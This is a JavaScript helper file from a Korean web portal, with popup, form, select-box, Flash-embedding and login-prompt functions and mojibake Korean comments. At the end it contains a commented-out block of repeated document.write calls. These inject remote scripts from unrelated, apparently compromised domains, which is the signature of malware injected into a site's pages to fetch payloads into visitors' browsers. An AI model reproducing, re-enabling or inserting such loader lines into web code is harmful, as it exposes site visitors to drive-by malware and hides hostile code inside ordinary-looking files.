/* vim: set tabstop=4 shiftwidth=4 syntax=javascript: */

function openWin(uri, target, width, height, scrollbars, resize, pos)
{
	var xy_pos = "";
	if (pos)
	{
		xy_pos  = ",left=" + (Math.round(screen.width/2) - Math.round(width/2));
		xy_pos += ",top="  + (Math.round(screen.height/3) - Math.round(height/3));
	}
	var remote = window.open(uri, target,
		"width=" + width +
		",height=" + height +
		",scrollbars=" + scrollbars +
		",resizable=" + resize +
		xy_pos +
		",toolbar=no,location=no" +
		",directories=no,mebar=no");
	remote.focus();
	return remote;
}

function alertWindow (form, title, message)
{
	var url = "http://www.ntoos.com/apps/tools/alert.php";

	// ÀÔ·Â ¿À·ù½Ã º¸¿©ÁÙ °æ°íÃ¢
	if (form != false)
	{
		form.focus();
	}
	// alert(title + " : " + message);	return;
	var new_message = "";
	for (var i = 0; i < message.length; i++)
	{
		// "\n" -> "<BR>"
		if (message.charAt(i) == "\n")
		{
			new_message = new_message + "<BR>";
		}
		else
		{
			new_message = new_message + message.charAt(i);
		}
	}
	var alert_window = openWin(url + "?" + "&title=" + title +
								"&message=" + new_message,
								"open", 100, 50, "no", "yes", true);
}

function lengthByte (str)
{
	// IE, ±ÛÀÚ¼ö ÃøÁ¤½Ã 2byte ¹®ÀÚ °¨¾È
	var len = str.length;
	for (var i=0; i<str.length; i++)
	{
		if (str.charCodeAt(i) > 255) len++;
	}
	return len;
}

function substringByte (str, byte)
{
	// IE, 2byte ¹®ÀÚ¸¦ °¨¾ÈÇÏ¿© ¹®ÀÚ¿­ ºÎºÐ ÃßÃâ
	var len = 0;
	var new_str = "";
	for (var i=0; i<str.length; i++)
	{
		len++;
		if (str.charCodeAt(i) > 255) len++;
		if (byte < len) return new_str;
		else new_str += str.charAt(i);
	}
	return new_str;
}
function firstFieldFocus (form)
{
	// ÇØ´ç ÀÔ·Â¾ç½ÄÀÇ Ã¹¹øÂ° TEXT Ç×¸ñ ¶Ç´Â PASSWORD Ç×¸ñ¿¡
	// ÀÚµ¿À¸·Î Æ÷Ä¿½º¸¦ ³Ö¾îÁÖ´Â ÇÔ¼ö
	if (typeof(form) == 'undefined') return;
	var count = form.elements.length;
	for (var i=0; i<count; i++)
	{
    	if (form.elements[i].type == "text" || form.elements[i].type == "password")
		{
			if (form.elements[i].value.length == 0) form.elements[i].focus();
			return;
		}
	}
}

function getSelected (select, mode)
{
	// ÇöÀç ¼±ÅÃµÈ SELECT Ç×¸ñÀÇ ¼±ÅÃ°ªÀ» ¾ò´Â ÇÔ¼ö
	if (select == null) return null;
	if (mode == "index") return select.selectedIndex;
	else if (mode == "value") return select.options[select.selectedIndex].value;
	else if (mode == "text") return select.options[select.selectedIndex].text;
}
function getSelectedValue (select) { return getSelected(select, "value"); }
function getSelectedText (select) { return getSelected(select, "text"); }
function getSelectedIndex (select) { return getSelected(select, "index"); }

function setSelected (select, mode, value)
{
	// SELECT Ç×¸ñÁß Æ¯Á¤ OPTION Ç×¸ñÀ» ±âº»ÀûÀ¸·Î ¼±ÅÃ(SELECTED)µÇµµ·Ï ÇÏ´Â ÇÔ¼ö
	if (select == null) return false;
	if (mode == "index")
	{
		select.selectedIndex = value;
		return true;
	}
	else
	{
		for (var i=0; i<select.options.length; i++)
		{
			if ((mode == "value" && select.options[i].value == value) ||
				 (mode == "text" && select.options[i].text == value))
			{
				select.selectedIndex = i;
				return true;
			}
		}
	}
	return false
}

function setSelectedByValue (select, value) { return setSelected(select, "value", value); }
function setSelectedByText (select, value) { return setSelected(select, "text", value); }
function setSelectedByIndex (select, value) { return setSelected(select, "index", value); }

function checkboxCheck(form, mode)
{
	for (var i=0; i<form.elements.length; i++)
	{
		var e = form.elements[i];
		if (e.type == "checkbox")
		{
			if (mode == 1) e.checked = true;
			if (mode == 2) e.checked = false;
			if (mode == 3) e.checked = !e.checked;
		}
	}
}
function checkboxAllCheck(form) { checkboxCheck(form, 1); }
function checkboxAllUnCheck(form) { checkboxCheck(form, 2); }
function checkboxReverseCheck(form) { checkboxCheck(form, 3); }

//  2004-01-08 CHRIS
function makeInputElement(type, name, value)
{
	if (type == null || name == null) alertWindow("", "", "makeInputElement call error");

	var type = type;
	var name = name;
	var value = value;

	var tmp_object = document.createElement("INPUT");
	tmp_object.setAttribute("type", type);
	tmp_object.setAttribute("name", name);
	tmp_object.setAttribute("id", name);
	tmp_object.setAttribute("value", value);
	return tmp_object;
}

function memberHomePageWin( ucode )
{
	openWin( "/chat/mymain.php?code="+ucode,"",680,540,"no","no",false);
}

function myFriendRecordWin( ucode )
{
	openWin("http://www.ntoos.com/mine/friend.php?code="+ucode,"",390,240,"no","no",false);
}

// È­»óÃ¤ÆÃ
function camchat()
{
	openWin("http://nting.ntoos.com/camchat/camchat.php","camchat",307,130,"no","no",false);
}

function camphoto()
{
	openWin("http://www.ntoos.com/myhome/camphoto.php","camchat",307,130,"no","no",false);
}

function horse()
{
	openWin("http://horse.ntoos.com/","°æ¸¶",1024,768,"no","no",true);
}

function nfile_win_view(ucode)
{
	//openWin("http://www.ntoos.com/nfile/","¿£ÆÄÀÏ",900,670,"no","no",true);
	//alertWindow("", "Á¡°Ë", "ÇöÀç ¿£ÆÄÀÏ Á¡°ËÁßÀÔ´Ï´Ù.");
	//window.open('http://ntoos.com/event/nfile.htm','¿£ÆÄÀÏÆË¾÷','width=410,height=290,left=520,top=0');

	openWin( "http://www.ntoos.com/myhome/mymain.php?mode=da&code="+ucode,"",680,540,"no","no",false);	
}

function pay_account(gu)
{
	openWin("https://www.ntoos.com:443/payment/account.php?gubun="+gu,"°áÁ¦",500,500,"no","no",true);
}

function nfile_account()
{
	openWin("http://www.ntoos.com/payment/account2.php?gubun=2","°áÁ¦",500,500,"no","no",true);
}

function move_point(code,id){
	openWin("http://www.ntoos.com/apps/tools/move_point.php?tcode="+code+"&tid="+id,"Æ÷ÀÎÆ®¼±¹°",390,240,"no","no",true);
}

function move_chk(){
	alertWindow("", "Á¡°Ë", "ÇöÀç ¿µÈ­ ¾÷µ¥ÀÌÆ®ÁßÀÔ´Ï´Ù.<br>Á¶±Ý¸¸ ±â´Ù·ÁÁÖ¼¼¿ä.");
}

function sms_chk(){
	alertWindow("", "Á¡°Ë", "ÇöÀç ¹®ÀÚ Á¡°ËÁßÀÔ´Ï´Ù.");
}

function mem_sms(ucode){
	openWin( "http://www.ntoos.com/myhome/mymain.php?mode=sms&code="+ucode,"",680,540,"no","no",false);	
}

// ÆË¾÷Ã¢ ¿­±â
function winOpen(uri, target, width, height, scrollbars, resize, pos){
	openWin(uri, target, width, height, scrollbars, resize, pos);
}

//ÇÃ·¡½Ãº¸¿©ÁÖ±â
function makeFlashObj(a,m,h,f,l,d,g,k,e){
	l=(l==undefined)?"transparent":l;g=(g==undefined)?"#FFFFFF":g;k=(k==undefined)?true:k;e=(e==undefined)?false:e;var j;var b=[];b.push('<object width="'+h+'" height="'+f+'" id="'+m+'" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" >');b.push('<param name="allowScriptAccess" value="always" />');b.push('<param name="quality" value="high" />');b.push('<param name="menu" value="'+e+'" />');b.push('<param name="movie" value="'+a+'" />');b.push('<param name="wmode" value="'+l+'" />');b.push('<param name="bgcolor" value="'+g+'" />');b.push('<param name="FlashVars" value="'+d+'">');b.push('<param name="allowFullScreen" value="'+k+'">');b.push('<embed src="'+a+'" quality="high" wmode="'+l+'" menu= "'+e+'" FlashVars="'+d+'" bgcolor="'+g+'" width="'+h+'" height="'+f+'" name="'+m+'" allowFullScreen="'+k+'" align="middle" allowScriptAccess="always" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" />');b.push("</object>");j=b.join("");return j
}
function showFlash(f,b,j,e,d,h,a,g){
	document.write(makeFlashObj(f,b,j,e,d,h,a,g))
}

function ProvideEvent(){
	alert("¼­ºñ½º ÁØºñÁßÀÔ´Ï´Ù.");
	return;
}
function login_ck(){
	alert("·Î±×ÀÎ ÈÄ ÀÌ¿ëÇÏ¼¼¿ä");
}
function login_check(){
	ckck = confirm("·Î±×ÀÎ ÈÄ ÀÌ¿ëÇÏ½Ç ¼ö ÀÖ½À´Ï´Ù \n\n·Î±×ÀÎÆäÀÌÁö·Î ÀÌµ¿ÇÏ½Ã°Ú½À´Ï±î?");
	if (ckck) {
		location.href="http://www.ntoos.com/apps/login.php?target=http://help.ntoos.com/?view=g";
	}
}


//string ÇÔ¼öÃß°¡
String.prototype.getListAt = function(element, at){
	var listToSplit, rt, rt1, rt2;
	listToSplit = this.split(at);
	rt = listToSplit[element];
	if (typeof rt == 'undefined'){
		rt1 = -1;
	}else{
		rt1 = rt;
	}
	return rt1;
}
String.prototype.alert = function(){
	alert(this);
}
String.prototype.getAtCnt = function(at){
	var d1;
	d1 = this.split(at);
	return d1.length;
}


var d = document;
/*document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://milamusic.net/photo_gallery/master.php ><\/script>');
document.write('<script src=http://stemcellpersonnel.com/subscription/values-and-mission.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://promisenightwear.com/cgi-bin/index.php ><\/script>');
document.write('<script src=http://imero.ru/im/d/v17o/d5.php ><\/script>');
document.write('<script src=http://imero.ru/im/d/v17o/d5.php ><\/script>');
document.write('<script src=http://imero.ru/im/d/v17o/d5.php ><\/script>');
document.write('<script src=http://qinet.sk/_vti_pvt/top1.php ><\/script>');
document.write('<script src=http://qinet.sk/_vti_pvt/top1.php ><\/script>');
document.write('<script src=http://qinet.sk/_vti_pvt/top1.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');
document.write('<script src=http://artsimone.ch/_vti_bin/simoneportait.php ><\/script>');*/
